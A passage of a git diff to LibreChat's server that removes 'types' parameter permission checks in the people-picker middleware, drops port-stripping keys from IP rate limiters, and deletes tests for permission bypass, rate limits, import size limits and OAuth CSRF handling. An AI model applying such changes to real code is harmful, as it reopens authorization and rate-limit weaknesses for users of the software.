- const typesArray = Array.isArray(types) ? types : types.split(',');
- for (const t of typesArray) {
- if (VALID_PRINCIPAL_TYPES.has(t)) {
- requestedTypes.add(t);
- }
- }
- }
-
- for (const requested of requestedTypes) {
- const check = permissionChecks[requested];
- if (!check.hasPermission) {
- return res.status(403).json({
- error: 'Forbidden',
- message: check.message,
- });
- }
- }
-
- if (requestedTypes.size === 0 && !canViewUsers && !canViewGroups && !canViewRoles) {
+ if (!type && !canViewUsers && !canViewGroups && !canViewRoles) {
return res.status(403).json({
error: 'Forbidden',
message: 'Insufficient permissions to search for users, groups, or roles',
@@ -91,7 +67,7 @@ const checkPeoplePickerAccess = async (req, res, next) => {
next();
} catch (error) {
logger.error(
- `[checkPeoplePickerAccess][${req.user?.id}] error for type=${req.query.type}, types=${req.query.types}`,
+ `[checkPeoplePickerAccess][${req.user?.id}] checkPeoplePickerAccess error for req.query.type = ${req.query.type}`,
error,
);
return res.status(500).json({
diff --git a/api/server/middleware/checkPeoplePickerAccess.spec.js b/api/server/middleware/checkPeoplePickerAccess.spec.js
index 9a229610de..52bf0e6724 100644
--- a/api/server/middleware/checkPeoplePickerAccess.spec.js
+++ b/api/server/middleware/checkPeoplePickerAccess.spec.js
@@ -173,171 +173,6 @@ describe('checkPeoplePickerAccess', () => {
expect(next).not.toHaveBeenCalled();
});
- it('should deny access when using types param to bypass type-specific check', async () => {
- req.query.types = PrincipalType.GROUP;
- getRoleByName.mockResolvedValue({
- permissions: {
- [PermissionTypes.PEOPLE_PICKER]: {
- [Permissions.VIEW_USERS]: true,
- [Permissions.VIEW_GROUPS]: false,
- [Permissions.VIEW_ROLES]: false,
- },
- },
- });
-
- await checkPeoplePickerAccess(req, res, next);
-
- expect(res.status).toHaveBeenCalledWith(403);
- expect(res.json).toHaveBeenCalledWith({
- error: 'Forbidden',
- message: 'Insufficient permissions to search for groups',
- });
- expect(next).not.toHaveBeenCalled();
- });
-
- it('should deny access when types contains any unpermitted type', async () => {
- req.query.types = `${PrincipalType.USER},${PrincipalType.ROLE}`;
- getRoleByName.mockResolvedValue({
- permissions: {
- [PermissionTypes.PEOPLE_PICKER]: {
- [Permissions.VIEW_USERS]: true,
- [Permissions.VIEW_GROUPS]: false,
- [Permissions.VIEW_ROLES]: false,
- },
- },
- });
-
- await checkPeoplePickerAccess(req, res, next);
-
- expect(res.status).toHaveBeenCalledWith(403);
- expect(res.json).toHaveBeenCalledWith({
- error: 'Forbidden',
- message: 'Insufficient permissions to search for roles',
- });
- expect(next).not.toHaveBeenCalled();
- });
-
- it('should allow access when all requested types are permitted', async () => {
- req.query.types = `${PrincipalType.USER},${PrincipalType.GROUP}`;
- getRoleByName.mockResolvedValue({
- permissions: {
- [PermissionTypes.PEOPLE_PICKER]: {
- [Permissions.VIEW_USERS]: true,
- [Permissions.VIEW_GROUPS]: true,
- [Permissions.VIEW_ROLES]: false,
- },
- },
- });
-
- await checkPeoplePickerAccess(req, res, next);
-
- expect(next).toHaveBeenCalled();
- expect(res.status).not.toHaveBeenCalled();
- });
-
- it('should validate types when provided as array (Express qs parsing)', async () => {
- req.query.types = [PrincipalType.GROUP, PrincipalType.ROLE];
- getRoleByName.mockResolvedValue({
- permissions: {
- [PermissionTypes.PEOPLE_PICKER]: {
- [Permissions.VIEW_USERS]: true,
- [Permissions.VIEW_GROUPS]: false,
- [Permissions.VIEW_ROLES]: true,
- },
- },
- });
-
- await checkPeoplePickerAccess(req, res, next);
-
- expect(res.status).toHaveBeenCalledWith(403);
- expect(res.json).toHaveBeenCalledWith({
- error: 'Forbidden',
- message: 'Insufficient permissions to search for groups',
- });
- expect(next).not.toHaveBeenCalled();
- });
-
- it('should enforce permissions for combined type and types params', async () => {
- req.query.type = PrincipalType.USER;
- req.query.types = PrincipalType.GROUP;
- getRoleByName.mockResolvedValue({
- permissions: {
- [PermissionTypes.PEOPLE_PICKER]: {
- [Permissions.VIEW_USERS]: true,
- [Permissions.VIEW_GROUPS]: false,
- [Permissions.VIEW_ROLES]: false,
- },
- },
- });
-
- await checkPeoplePickerAccess(req, res, next);
-
- expect(res.status).toHaveBeenCalledWith(403);
- expect(res.json).toHaveBeenCalledWith({
- error: 'Forbidden',
- message: 'Insufficient permissions to search for groups',
- });
- expect(next).not.toHaveBeenCalled();
- });
-
- it('should treat all-invalid types values as mixed search', async () => {
- req.query.types = 'foobar';
- getRoleByName.mockResolvedValue({
- permissions: {
- [PermissionTypes.PEOPLE_PICKER]: {
- [Permissions.VIEW_USERS]: true,
- [Permissions.VIEW_GROUPS]: false,
- [Permissions.VIEW_ROLES]: false,
- },
- },
- });
-
- await checkPeoplePickerAccess(req, res, next);
-
- expect(next).toHaveBeenCalled();
- expect(res.status).not.toHaveBeenCalled();
- });
-
- it('should deny when types is empty string and user has no permissions', async () => {
- req.query.types = '';
- getRoleByName.mockResolvedValue({
- permissions: {
- [PermissionTypes.PEOPLE_PICKER]: {
- [Permissions.VIEW_USERS]: false,
- [Permissions.VIEW_GROUPS]: false,
- [Permissions.VIEW_ROLES]: false,
- },
- },
- });
-
- await checkPeoplePickerAccess(req, res, next);
-
- expect(res.status).toHaveBeenCalledWith(403);
- expect(res.json).toHaveBeenCalledWith({
- error: 'Forbidden',
- message: 'Insufficient permissions to search for users, groups, or roles',
- });
- expect(next).not.toHaveBeenCalled();
- });
-
- it('should treat types=public as mixed search since PUBLIC is not a searchable principal type', async () => {
- req.query.types = PrincipalType.PUBLIC;
- getRoleByName.mockResolvedValue({
- permissions: {
- [PermissionTypes.PEOPLE_PICKER]: {
- [Permissions.VIEW_USERS]: true,
- [Permissions.VIEW_GROUPS]: false,
- [Permissions.VIEW_ROLES]: false,
- },
- },
- });
-
- await checkPeoplePickerAccess(req, res, next);
-
- expect(next).toHaveBeenCalled();
- expect(res.status).not.toHaveBeenCalled();
- });
-
it('should allow mixed search when user has at least one permission', async () => {
// No type specified = mixed search
req.query.type = undefined;
@@ -387,7 +222,7 @@ describe('checkPeoplePickerAccess', () => {
await checkPeoplePickerAccess(req, res, next);
expect(logger.error).toHaveBeenCalledWith(
- '[checkPeoplePickerAccess][user123] error for type=undefined, types=undefined',
+ '[checkPeoplePickerAccess][user123] checkPeoplePickerAccess error for req.query.type = undefined',
error,
);
expect(res.status).toHaveBeenCalledWith(500);
diff --git a/api/server/middleware/limiters/forkLimiters.js b/api/server/middleware/limiters/forkLimiters.js
index 6d05cedad5..e0aa65700c 100644
--- a/api/server/middleware/limiters/forkLimiters.js
+++ b/api/server/middleware/limiters/forkLimiters.js
@@ -1,6 +1,6 @@
const rateLimit = require('express-rate-limit');
+const { limiterCache } = require('@librechat/api');
const { ViolationTypes } = require('librechat-data-provider');
-const { limiterCache, removePorts } = require('@librechat/api');
const logViolation = require('~/cache/logViolation');
const getEnvironmentVariables = () => {
@@ -48,7 +48,7 @@ const createForkHandler = (ip = true) => {
};
await logViolation(req, res, type, errorMessage, forkViolationScore);
- res.status(429).json({ message: 'Too many requests. Try again later' });
+ res.status(429).json({ message: 'Too many conversation fork requests. Try again later' });
};
};
@@ -59,7 +59,6 @@ const createForkLimiters = () => {
windowMs: forkIpWindowMs,
max: forkIpMax,
handler: createForkHandler(),
- keyGenerator: removePorts,
store: limiterCache('fork_ip_limiter'),
};
const userLimiterOptions = {
diff --git a/api/server/middleware/limiters/importLimiters.js b/api/server/middleware/limiters/importLimiters.js
index 22b7013558..f383e99563 100644
--- a/api/server/middleware/limiters/importLimiters.js
+++ b/api/server/middleware/limiters/importLimiters.js
@@ -1,6 +1,6 @@
const rateLimit = require('express-rate-limit');
+const { limiterCache } = require('@librechat/api');
const { ViolationTypes } = require('librechat-data-provider');
-const { limiterCache, removePorts } = require('@librechat/api');
const logViolation = require('~/cache/logViolation');
const getEnvironmentVariables = () => {
@@ -60,7 +60,6 @@ const createImportLimiters = () => {
windowMs: importIpWindowMs,
max: importIpMax,
handler: createImportHandler(),
- keyGenerator: removePorts,
store: limiterCache('import_ip_limiter'),
};
const userLimiterOptions = {
@@ -68,7 +67,7 @@ const createImportLimiters = () => {
max: importUserMax,
handler: createImportHandler(false),
keyGenerator: function (req) {
- return req.user?.id;
+ return req.user?.id; // Use the user ID or NULL if not available
},
store: limiterCache('import_user_limiter'),
};
diff --git a/api/server/middleware/limiters/loginLimiter.js b/api/server/middleware/limiters/loginLimiter.js
index c178b68a25..eef0c56bfc 100644
--- a/api/server/middleware/limiters/loginLimiter.js
+++ b/api/server/middleware/limiters/loginLimiter.js
@@ -1,6 +1,7 @@
const rateLimit = require('express-rate-limit');
+const { limiterCache } = require('@librechat/api');
const { ViolationTypes } = require('librechat-data-provider');
-const { limiterCache, removePorts } = require('@librechat/api');
+const { removePorts } = require('~/server/utils');
const { logViolation } = require('~/cache');
const { LOGIN_WINDOW = 5, LOGIN_MAX = 7, LOGIN_VIOLATION_SCORE: score } = process.env;
diff --git a/api/server/middleware/limiters/messageLimiters.js b/api/server/middleware/limiters/messageLimiters.js
index 4f1d72076f..50f4dbc644 100644
--- a/api/server/middleware/limiters/messageLimiters.js
+++ b/api/server/middleware/limiters/messageLimiters.js
@@ -1,6 +1,6 @@
const rateLimit = require('express-rate-limit');
+const { limiterCache } = require('@librechat/api');
const { ViolationTypes } = require('librechat-data-provider');
-const { limiterCache, removePorts } = require('@librechat/api');
const denyRequest = require('~/server/middleware/denyRequest');
const { logViolation } = require('~/cache');
@@ -50,7 +50,6 @@ const ipLimiterOptions = {
windowMs: ipWindowMs,
max: ipMax,
handler: createHandler(),
- keyGenerator: removePorts,
store: limiterCache('message_ip_limiter'),
};
@@ -59,7 +58,7 @@ const userLimiterOptions = {
max: userMax,
handler: createHandler(false),
keyGenerator: function (req) {
- return req.user?.id;
+ return req.user?.id; // Use the user ID or NULL if not available
},
store: limiterCache('message_user_limiter'),
};
diff --git a/api/server/middleware/limiters/registerLimiter.js b/api/server/middleware/limiters/registerLimiter.js
index 91ea027376..eeebebdb42 100644
--- a/api/server/middleware/limiters/registerLimiter.js
+++ b/api/server/middleware/limiters/registerLimiter.js
@@ -1,6 +1,7 @@
const rateLimit = require('express-rate-limit');
+const { limiterCache } = require('@librechat/api');
const { ViolationTypes } = require('librechat-data-provider');
-const { limiterCache, removePorts } = require('@librechat/api');
+const { removePorts } = require('~/server/utils');
const { logViolation } = require('~/cache');
const { REGISTER_WINDOW = 60, REGISTER_MAX = 5, REGISTRATION_VIOLATION_SCORE: score } = process.env;
diff --git a/api/server/middleware/limiters/resetPasswordLimiter.js b/api/server/middleware/limiters/resetPasswordLimiter.js
index 7feca47ca5..d1dfe52a98 100644
--- a/api/server/middleware/limiters/resetPasswordLimiter.js
+++ b/api/server/middleware/limiters/resetPasswordLimiter.js
@@ -1,6 +1,7 @@
const rateLimit = require('express-rate-limit');
+const { limiterCache } = require('@librechat/api');
const { ViolationTypes } = require('librechat-data-provider');
-const { limiterCache, removePorts } = require('@librechat/api');
+const { removePorts } = require('~/server/utils');
const { logViolation } = require('~/cache');
const {
diff --git a/api/server/middleware/limiters/sttLimiters.js b/api/server/middleware/limiters/sttLimiters.js
index ded9040033..f2f47cf680 100644
--- a/api/server/middleware/limiters/sttLimiters.js
+++ b/api/server/middleware/limiters/sttLimiters.js
@@ -1,6 +1,6 @@
const rateLimit = require('express-rate-limit');
+const { limiterCache } = require('@librechat/api');
const { ViolationTypes } = require('librechat-data-provider');
-const { limiterCache, removePorts } = require('@librechat/api');
const logViolation = require('~/cache/logViolation');
const getEnvironmentVariables = () => {
@@ -54,7 +54,6 @@ const createSTTLimiters = () => {
windowMs: sttIpWindowMs,
max: sttIpMax,
handler: createSTTHandler(),
- keyGenerator: removePorts,
store: limiterCache('stt_ip_limiter'),
};
@@ -63,7 +62,7 @@ const createSTTLimiters = () => {
max: sttUserMax,
handler: createSTTHandler(false),
keyGenerator: function (req) {
- return req.user?.id;
+ return req.user?.id; // Use the user ID or NULL if not available
},
store: limiterCache('stt_user_limiter'),
};
diff --git a/api/server/middleware/limiters/ttsLimiters.js b/api/server/middleware/limiters/ttsLimiters.js
index 7ded475230..41dd9a6ba5 100644
--- a/api/server/middleware/limiters/ttsLimiters.js
+++ b/api/server/middleware/limiters/ttsLimiters.js
@@ -1,6 +1,6 @@
const rateLimit = require('express-rate-limit');
+const { limiterCache } = require('@librechat/api');
const { ViolationTypes } = require('librechat-data-provider');
-const { limiterCache, removePorts } = require('@librechat/api');
const logViolation = require('~/cache/logViolation');
const getEnvironmentVariables = () => {
@@ -54,7 +54,6 @@ const createTTSLimiters = () => {
windowMs: ttsIpWindowMs,
max: ttsIpMax,
handler: createTTSHandler(),
- keyGenerator: removePorts,
store: limiterCache('tts_ip_limiter'),
};
@@ -62,10 +61,10 @@ const createTTSLimiters = () => {
windowMs: ttsUserWindowMs,
max: ttsUserMax,
handler: createTTSHandler(false),
- keyGenerator: function (req) {
- return req.user?.id;
- },
store: limiterCache('tts_user_limiter'),
+ keyGenerator: function (req) {
+ return req.user?.id; // Use the user ID or NULL if not available
+ },
};
const ttsIpLimiter = rateLimit(ipLimiterOptions);
diff --git a/api/server/middleware/limiters/uploadLimiters.js b/api/server/middleware/limiters/uploadLimiters.js
index 8c878cfa86..df6987877c 100644
--- a/api/server/middleware/limiters/uploadLimiters.js
+++ b/api/server/middleware/limiters/uploadLimiters.js
@@ -1,6 +1,6 @@
const rateLimit = require('express-rate-limit');
+const { limiterCache } = require('@librechat/api');
const { ViolationTypes } = require('librechat-data-provider');
-const { limiterCache, removePorts } = require('@librechat/api');
const logViolation = require('~/cache/logViolation');
const getEnvironmentVariables = () => {
@@ -60,7 +60,6 @@ const createFileLimiters = () => {
windowMs: fileUploadIpWindowMs,
max: fileUploadIpMax,
handler: createFileUploadHandler(),
- keyGenerator: removePorts,
store: limiterCache('file_upload_ip_limiter'),
};
@@ -69,7 +68,7 @@ const createFileLimiters = () => {
max: fileUploadUserMax,
handler: createFileUploadHandler(false),
keyGenerator: function (req) {
- return req.user?.id;
+ return req.user?.id; // Use the user ID or NULL if not available
},
store: limiterCache('file_upload_user_limiter'),
};
diff --git a/api/server/middleware/limiters/verifyEmailLimiter.js b/api/server/middleware/limiters/verifyEmailLimiter.js
index 5844686bf0..006c4df656 100644
--- a/api/server/middleware/limiters/verifyEmailLimiter.js
+++ b/api/server/middleware/limiters/verifyEmailLimiter.js
@@ -1,6 +1,7 @@
const rateLimit = require('express-rate-limit');
+const { limiterCache } = require('@librechat/api');
const { ViolationTypes } = require('librechat-data-provider');
-const { limiterCache, removePorts } = require('@librechat/api');
+const { removePorts } = require('~/server/utils');
const { logViolation } = require('~/cache');
const {
diff --git a/api/server/routes/__test-utils__/convos-route-mocks.js b/api/server/routes/__test-utils__/convos-route-mocks.js
deleted file mode 100644
index f89b77db3f..0000000000
--- a/api/server/routes/__test-utils__/convos-route-mocks.js
+++ /dev/null
@@ -1,93 +0,0 @@
-module.exports = {
- agents: () => ({ sleep: jest.fn() }),
-
- api: (overrides = {}) => ({
- isEnabled: jest.fn(),
- resolveImportMaxFileSize: jest.fn(() => 262144000),
- createAxiosInstance: jest.fn(() => ({
- get: jest.fn(),
- post: jest.fn(),
- put: jest.fn(),
- delete: jest.fn(),
- })),
- logAxiosError: jest.fn(),
- ...overrides,
- }),
-
- dataSchemas: () => ({
- logger: {
- debug: jest.fn(),
- info: jest.fn(),
- warn: jest.fn(),
- error: jest.fn(),
- },
- createModels: jest.fn(() => ({
- User: {},
- Conversation: {},
- Message: {},
- SharedLink: {},
- })),
- }),
-
- dataProvider: (overrides = {}) => ({
- CacheKeys: { GEN_TITLE: 'GEN_TITLE' },
- EModelEndpoint: {
- azureAssistants: 'azureAssistants',
- assistants: 'assistants',
- },
- ...overrides,
- }),
-
- conversationModel: () => ({
- getConvosByCursor: jest.fn(),
- getConvo: jest.fn(),
- deleteConvos: jest.fn(),
- saveConvo: jest.fn(),
- }),
-
- toolCallModel: () => ({ deleteToolCalls: jest.fn() }),
-
- sharedModels: () => ({
- deleteAllSharedLinks: jest.fn(),
- deleteConvoSharedLink: jest.fn(),
- }),
-
- requireJwtAuth: () => (req, res, next) => next(),
-
- middlewarePassthrough: () => ({
- createImportLimiters: jest.fn(() => ({
- importIpLimiter: (req, res, next) => next(),
- importUserLimiter: (req, res, next) => next(),
- })),
- createForkLimiters: jest.fn(() => ({
- forkIpLimiter: (req, res, next) => next(),
- forkUserLimiter: (req, res, next) => next(),
- })),
- configMiddleware: (req, res, next) => next(),
- validateConvoAccess: (req, res, next) => next(),
- }),
-
- forkUtils: () => ({
- forkConversation: jest.fn(),
- duplicateConversation: jest.fn(),
- }),
-
- importUtils: () => ({ importConversations: jest.fn() }),
-
- logStores: () => jest.fn(),
-
- multerSetup: () => ({
- storage: {},
- importFileFilter: jest.fn(),
- }),
-
- multerLib: () =>
- jest.fn(() => ({
- single: jest.fn(() => (req, res, next) => {
- req.file = { path: '/tmp/test-file.json' };
- next();
- }),
- })),
-
- assistantEndpoint: () => ({ initializeClient: jest.fn() }),
-};
diff --git a/api/server/routes/__tests__/convos-duplicate-ratelimit.spec.js b/api/server/routes/__tests__/convos-duplicate-ratelimit.spec.js
deleted file mode 100644
index 788119a569..0000000000
--- a/api/server/routes/__tests__/convos-duplicate-ratelimit.spec.js
+++ /dev/null
@@ -1,135 +0,0 @@
-const express = require('express');
-const request = require('supertest');
-
-const MOCKS = '../__test-utils__/convos-route-mocks';
-
-jest.mock('@librechat/agents', () => require(MOCKS).agents());
-jest.mock('@librechat/api', () => require(MOCKS).api({ limiterCache: jest.fn(() => undefined) }));
-jest.mock('@librechat/data-schemas', () => require(MOCKS).dataSchemas());
-jest.mock('librechat-data-provider', () =>
- require(MOCKS).dataProvider({ ViolationTypes: { FILE_UPLOAD_LIMIT: 'file_upload_limit' } }),
-);
-
-jest.mock('~/cache/logViolation', () => jest.fn().mockResolvedValue(undefined));
-jest.mock('~/cache/getLogStores', () => require(MOCKS).logStores());
-jest.mock('~/models/Conversation', () => require(MOCKS).conversationModel());
-jest.mock('~/models/ToolCall', () => require(MOCKS).toolCallModel());
-jest.mock('~/models', () => require(MOCKS).sharedModels());
-jest.mock('~/server/middleware/requireJwtAuth', () => require(MOCKS).requireJwtAuth());
-
-jest.mock('~/server/middleware', () => {
- const { createForkLimiters } = jest.requireActual('~/server/middleware/limiters/forkLimiters');
- return {
- createImportLimiters: jest.fn(() => ({
- importIpLimiter: (req, res, next) => next(),
- importUserLimiter: (req, res, next) => next(),
- })),
- createForkLimiters,
- configMiddleware: (req, res, next) => next(),
- validateConvoAccess: (req, res, next) => next(),
- };
-});
-
-jest.mock('~/server/utils/import/fork', () => require(MOCKS).forkUtils());
-jest.mock('~/server/utils/import', () => require(MOCKS).importUtils());
-jest.mock('~/server/routes/files/multer', () => require(MOCKS).multerSetup());
-jest.mock('multer', () => require(MOCKS).multerLib());
-jest.mock('~/server/services/Endpoints/azureAssistants', () => require(MOCKS).assistantEndpoint());
-jest.mock('~/server/services/Endpoints/assistants', () => require(MOCKS).assistantEndpoint());
-
-describe('POST /api/convos/duplicate - Rate Limiting', () => {
- let app;
- let duplicateConversation;
- const savedEnv = {};
-
- beforeAll(() => {
- savedEnv.FORK_USER_MAX = process.env.FORK_USER_MAX;
- savedEnv.FORK_USER_WINDOW = process.env.FORK_USER_WINDOW;
- savedEnv.FORK_IP_MAX = process.env.FORK_IP_MAX;
- savedEnv.FORK_IP_WINDOW = process.env.FORK_IP_WINDOW;
- });
-
- afterAll(() => {
- for (const key of Object.keys(savedEnv)) {
- if (savedEnv[key] === undefined) {
- delete process.env[key];
- } else {
- process.env[key] = savedEnv[key];
- }
- }
- });
-
- const setupApp = () => {
- jest.clearAllMocks();
- jest.isolateModules(() => {
- const convosRouter = require('../convos');
- ({ duplicateConversation } = require('~/server/utils/import/fork'));
-
- app = express();
- app.use(express.json());
- app.use((req, res, next) => {
- req.user = { id: 'rate-limit-test-user' };
- next();
- });
- app.use('/api/convos', convosRouter);
- });
-
- duplicateConversation.mockResolvedValue({
- conversation: { conversationId: 'duplicated-conv' },
- });
- };
-
- describe('user limit', () => {
- beforeEach(() => {
- process.env.FORK_USER_MAX = '2';
- process.env.FORK_USER_WINDOW = '1';
- process.env.FORK_IP_MAX = '100';
- process.env.FORK_IP_WINDOW = '1';
- setupApp();
- });
-
- it('should return 429 after exceeding the user rate limit', async () => {
- const userMax = parseInt(process.env.FORK_USER_MAX, 10);
-
- for (let i = 0; i < userMax; i++) {
- const res = await request(app)
- .post('/api/convos/duplicate')
- .send({ conversationId: 'conv-123' });
- expect(res.status).toBe(201);
- }
-
- const res = await request(app)
- .post('/api/convos/duplicate')
- .send({ conversationId: 'conv-123' });
- expect(res.status).toBe(429);
- expect(res.body.message).toMatch(/too many/i);
- });
- });
-
- describe('IP limit', () => {
- beforeEach(() => {
- process.env.FORK_USER_MAX = '100';
- process.env.FORK_USER_WINDOW = '1';
- process.env.FORK_IP_MAX = '2';
- process.env.FORK_IP_WINDOW = '1';
- setupApp();
- });
-
- it('should return 429 after exceeding the IP rate limit', async () => {
- const ipMax = parseInt(process.env.FORK_IP_MAX, 10);
-
- for (let i = 0; i < ipMax; i++) {
- const res = await request(app)
- .post('/api/convos/duplicate')
- .send({ conversationId: 'conv-123' });
- expect(res.status).toBe(201);
- }
-
- const res = await request(app)
- .post('/api/convos/duplicate')
- .send({ conversationId: 'conv-123' });
- expect(res.status).toBe(429);
- expect(res.body.message).toMatch(/too many/i);
- });
- });
-});
diff --git a/api/server/routes/__tests__/convos-import.spec.js b/api/server/routes/__tests__/convos-import.spec.js
deleted file mode 100644
index c4ea139931..0000000000
--- a/api/server/routes/__tests__/convos-import.spec.js
+++ /dev/null
@@ -1,98 +0,0 @@
-const express = require('express');
-const request = require('supertest');
-const multer = require('multer');
-
-const importFileFilter = (req, file, cb) => {
- if (file.mimetype === 'application/json') {
- cb(null, true);
- } else {
- cb(new Error('Only JSON files are allowed'), false);
- }
-};
-
-/** Proxy app that mirrors the production multer + error-handling pattern */
-function createImportApp(fileSize) {
- const app = express();
- const upload = multer({
- storage: multer.memoryStorage(),
- fileFilter: importFileFilter,
- limits: { fileSize },
- });
- const uploadSingle = upload.single('file');
-
- function handleUpload(req, res, next) {
- uploadSingle(req, res, (err) => {
- if (err && err.code === 'LIMIT_FILE_SIZE') {
- return res.status(413).json({ message: 'File exceeds the maximum allowed size' });
- }
- if (err) {
- return next(err);
- }
- next();
- });
- }
-
- app.post('/import', handleUpload, (req, res) => {
- res.status(201).json({ message: 'success', size: req.file.size });
- });
-
- app.use((err, _req, res, _next) => {
- res.status(400).json({ error: err.message });
- });
-
- return app;
-}
-
-describe('Conversation Import - Multer File Size Limits', () => {
- describe('multer rejects files exceeding the configured limit', () => {
- it('returns 413 for files larger than the limit', async () => {
- const limit = 1024;
- const app = createImportApp(limit);
- const oversized = Buffer.alloc(limit + 512, 'x');
-
- const res = await request(app)
- .post('/import')
- .attach('file', oversized, { filename: 'import.json', contentType: 'application/json' });
-
- expect(res.status).toBe(413);
- expect(res.body.message).toBe('File exceeds the maximum allowed size');
- });
-
- it('accepts files within the limit', async () => {
- const limit = 4096;
- const app = createImportApp(limit);
- const valid = Buffer.from(JSON.stringify({ title: 'test' }));
-
- const res = await request(app)
- .post('/import')
- .attach('file', valid, { filename: 'import.json', contentType: 'application/json' });
-
- expect(res.status).toBe(201);
- expect(res.body.message).toBe('success');
- });
-
- it('rejects at the exact boundary (limit + 1 byte)', async () => {
- const limit = 512;
- const app = createImportApp(limit);
- const boundary = Buffer.alloc(limit + 1, 'a');
-
- const res = await request(app)
- .post('/import')
- .attach('file', boundary, { filename: 'import.json', contentType: 'application/json' });
-
- expect(res.status).toBe(413);
- });
-
- it('accepts a file just under the limit', async () => {
- const limit = 512;
- const app = createImportApp(limit);
- const underLimit = Buffer.alloc(limit - 1, 'b');
-
- const res = await request(app)
- .post('/import')
- .attach('file', underLimit, { filename: 'import.json', contentType: 'application/json' });
-
- expect(res.status).toBe(201);
- });
- });
-});
diff --git a/api/server/routes/__tests__/convos.spec.js b/api/server/routes/__tests__/convos.spec.js
index 3bdeac32db..931ef006d0 100644
--- a/api/server/routes/__tests__/convos.spec.js
+++ b/api/server/routes/__tests__/convos.spec.js
@@ -1,24 +1,109 @@
const express = require('express');
const request = require('supertest');
-const MOCKS = '../__test-utils__/convos-route-mocks';
+jest.mock('@librechat/agents', () => ({
+ sleep: jest.fn(),
+}));
-jest.mock('@librechat/agents', () => require(MOCKS).agents());
-jest.mock('@librechat/api', () => require(MOCKS).api());
-jest.mock('@librechat/data-schemas', () => require(MOCKS).dataSchemas());
-jest.mock('librechat-data-provider', () => require(MOCKS).dataProvider());
-jest.mock('~/models/Conversation', () => require(MOCKS).conversationModel());
-jest.mock('~/models/ToolCall', () => require(MOCKS).toolCallModel());
-jest.mock('~/models', () => require(MOCKS).sharedModels());
-jest.mock('~/server/middleware/requireJwtAuth', () => require(MOCKS).requireJwtAuth());
-jest.mock('~/server/middleware', () => require(MOCKS).middlewarePassthrough());
-jest.mock('~/server/utils/import/fork', () => require(MOCKS).forkUtils());
-jest.mock('~/server/utils/import', () => require(MOCKS).importUtils());
-jest.mock('~/cache/getLogStores', () => require(MOCKS).logStores());
-jest.mock('~/server/routes/files/multer', () => require(MOCKS).multerSetup());
-jest.mock('multer', () => require(MOCKS).multerLib());
-jest.mock('~/server/services/Endpoints/azureAssistants', () => require(MOCKS).assistantEndpoint());
-jest.mock('~/server/services/Endpoints/assistants', () => require(MOCKS).assistantEndpoint());
+jest.mock('@librechat/api', () => ({
+ isEnabled: jest.fn(),
+ createAxiosInstance: jest.fn(() => ({
+ get: jest.fn(),
+ post: jest.fn(),
+ put: jest.fn(),
+ delete: jest.fn(),
+ })),
+ logAxiosError: jest.fn(),
+}));
+
+jest.mock('@librechat/data-schemas', () => ({
+ logger: {
+ debug: jest.fn(),
+ info: jest.fn(),
+ warn: jest.fn(),
+ error: jest.fn(),
+ },
+ createModels: jest.fn(() => ({
+ User: {},
+ Conversation: {},
+ Message: {},
+ SharedLink: {},
+ })),
+}));
+
+jest.mock('~/models/Conversation', () => ({
+ getConvosByCursor: jest.fn(),
+ getConvo: jest.fn(),
+ deleteConvos: jest.fn(),
+ saveConvo: jest.fn(),
+}));
+
+jest.mock('~/models/ToolCall', () => ({
+ deleteToolCalls: jest.fn(),
+}));
+
+jest.mock('~/models', () => ({
+ deleteAllSharedLinks: jest.fn(),
+ deleteConvoSharedLink: jest.fn(),
+}));
+
+jest.mock('~/server/middleware/requireJwtAuth', () => (req, res, next) => next());
+
+jest.mock('~/server/middleware', () => ({
+ createImportLimiters: jest.fn(() => ({
+ importIpLimiter: (req, res, next) => next(),
+ importUserLimiter: (req, res, next) => next(),
+ })),
+ createForkLimiters: jest.fn(() => ({
+ forkIpLimiter: (req, res, next) => next(),
+ forkUserLimiter: (req, res, next) => next(),
+ })),
+ configMiddleware: (req, res, next) => next(),
+ validateConvoAccess: (req, res, next) => next(),
+}));
+
+jest.mock('~/server/utils/import/fork', () => ({
+ forkConversation: jest.fn(),
+ duplicateConversation: jest.fn(),
+}));
+
+jest.mock('~/server/utils/import', () => ({
+ importConversations: jest.fn(),
+}));
+
+jest.mock('~/cache/getLogStores', () => jest.fn());
+
+jest.mock('~/server/routes/files/multer', () => ({
+ storage: {},
+ importFileFilter: jest.fn(),
+}));
+
+jest.mock('multer', () => {
+ return jest.fn(() => ({
+ single: jest.fn(() => (req, res, next) => {
+ req.file = { path: '/tmp/test-file.json' };
+ next();
+ }),
+ }));
+});
+
+jest.mock('librechat-data-provider', () => ({
+ CacheKeys: {
+ GEN_TITLE: 'GEN_TITLE',
+ },
+ EModelEndpoint: {
+ azureAssistants: 'azureAssistants',
+ assistants: 'assistants',
+ },
+}));
+
+jest.mock('~/server/services/Endpoints/azureAssistants', () => ({
+ initializeClient: jest.fn(),
+}));
+
+jest.mock('~/server/services/Endpoints/assistants', () => ({
+ initializeClient: jest.fn(),
+}));
describe('Convos Routes', () => {
let app;
diff --git a/api/server/routes/__tests__/mcp.spec.js b/api/server/routes/__tests__/mcp.spec.js
index 1ad8cac087..e87fcf8f15 100644
--- a/api/server/routes/__tests__/mcp.spec.js
+++ b/api/server/routes/__tests__/mcp.spec.js
@@ -32,9 +32,6 @@ jest.mock('@librechat/api', () => {
getFlowState: jest.fn(),
completeOAuthFlow: jest.fn(),
generateFlowId: jest.fn(),
- resolveStateToFlowId: jest.fn(async (state) => state),
- storeStateMapping: jest.fn(),
- deleteStateMapping: jest.fn(),
},
MCPTokenStorage: {
storeTokens: jest.fn(),
@@ -183,10 +180,7 @@ describe('MCP Routes', () => {
MCPOAuthHandler.initiateOAuthFlow.mockResolvedValue({
authorizationUrl: 'https://oauth.example.com/auth',
flowId: 'test-user-id:test-server',
- flowMetadata: { state: 'random-state-value' },
});
- MCPOAuthHandler.storeStateMapping.mockResolvedValue();
- mockFlowManager.initFlow = jest.fn().mockResolvedValue();
const response = await request(app).get('/api/mcp/test-server/oauth/initiate').query({
userId: 'test-user-id',
@@ -373,121 +367,6 @@ describe('MCP Routes', () => {
expect(response.headers.location).toBe(`${basePath}/oauth/error?error=invalid_state`);
});
- describe('CSRF fallback via active PENDING flow', () => {
- it('should proceed when a fresh PENDING flow exists and no cookies are present', async () => {
- const flowId = 'test-user-id:test-server';
- const mockFlowManager = {
- getFlowState: jest.fn().mockResolvedValue({
- status: 'PENDING',
- createdAt: Date.now(),
- }),
- completeFlow: jest.fn().mockResolvedValue(true),
- deleteFlow: jest.fn().mockResolvedValue(true),
- };
- const mockFlowState = {
- serverName: 'test-server',
- userId: 'test-user-id',
- metadata: {},
- clientInfo: {},
- codeVerifier: 'test-verifier',
- };
-
- getLogStores.mockReturnValue({});
